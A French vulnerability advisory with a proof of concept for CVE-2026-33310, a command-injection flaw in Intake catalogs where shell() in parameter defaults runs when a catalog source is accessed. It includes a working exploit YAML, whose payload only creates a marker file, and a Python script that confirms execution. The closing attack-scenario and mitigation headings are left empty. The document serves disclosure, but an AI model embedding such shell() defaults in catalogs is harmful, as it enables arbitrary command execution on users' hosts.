
Preuve de concept démontrant une injection de commande via l'expansion shell() dans les valeurs par défaut des paramètres des catalogues Intake, avec un YAML d'exploitation et un script de reproduction.
CVE-2026-33310 (Injection de commande via l'expansion shell() dans les valeurs par défaut des paramètres)
La syntaxe shell() dans les valeurs par défaut des paramètres semble être automatiquement développée lors du processus d'analyse du catalogue. Si un catalogue contient une valeur par défaut de paramètre telle que shell(), la commande peut être exécutée lorsque la source du catalogue est accédée. Cela signifie que si un utilisateur charge un catalogue YAML malveillant, des commandes intégrées pourraient s'exécuter sur le système hôte. Ce comportement pourrait potentiellement être classé comme CWE-78 : Injection de commande du système d'exploitation / Expansion shell non sécurisée.
Le problème semble provenir de la manière dont les valeurs par défaut des paramètres sont développées lorsqu'une source de catalogue est accédée.
Lors du chargement du catalogue et de l'accès à la source :
Intake résout les valeurs par défaut des paramètres La fonction responsable du développement des valeurs par défaut traite la syntaxe shell() L'expression shell() déclenche l'exécution d'un sous-processus Comme cela se produit pendant l'évaluation du catalogue, la commande peut s'exécuter avant que l'utilisateur n'interagisse explicitement avec le jeu de données lui-même.
La logique affectée semble impliquer :
expand_defaults()
et les mécanismes associés d'analyse des paramètres.
exploit.yaml
metadata:
version: 1
sources:
rce_test:
driver: csv
description: "Test de l'expansion shell dans les paramètres"
args:
urlpath: "{{ cmd_exec }}"
parameters:
cmd_exec:
display_name: "Paramètre de test"
type: str
default: "shell(touch /tmp/intake_rce_test)"
reproduce.py
import intake
import os
PROOF_FILE = "/tmp/intake_rce_test"
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
print(f"[*] Fichier de preuve existant avant : {os.path.exists(PROOF_FILE)}")
try:
cat = intake.open_catalog("exploit.yaml")
print("Accès à la source...")
_ = cat["rce_test"]
except Exception as e:
print(f" Erreur pendant l'exécution : {e}")
if os.path.exists(PROOF_FILE):
print(f" Exécution de commande confirmée, trouvé : {PROOF_FILE}")
else:
print("L'exécution de commande n'a pas eu lieu.")
Un scénario d'attaque potentiel pourrait être :
Si ce comportement est confirmé comme non intentionnel, un attaquant pourrait distribuer un fichier de catalogue malveillant via :
Les atténuations possibles pourraient inclure :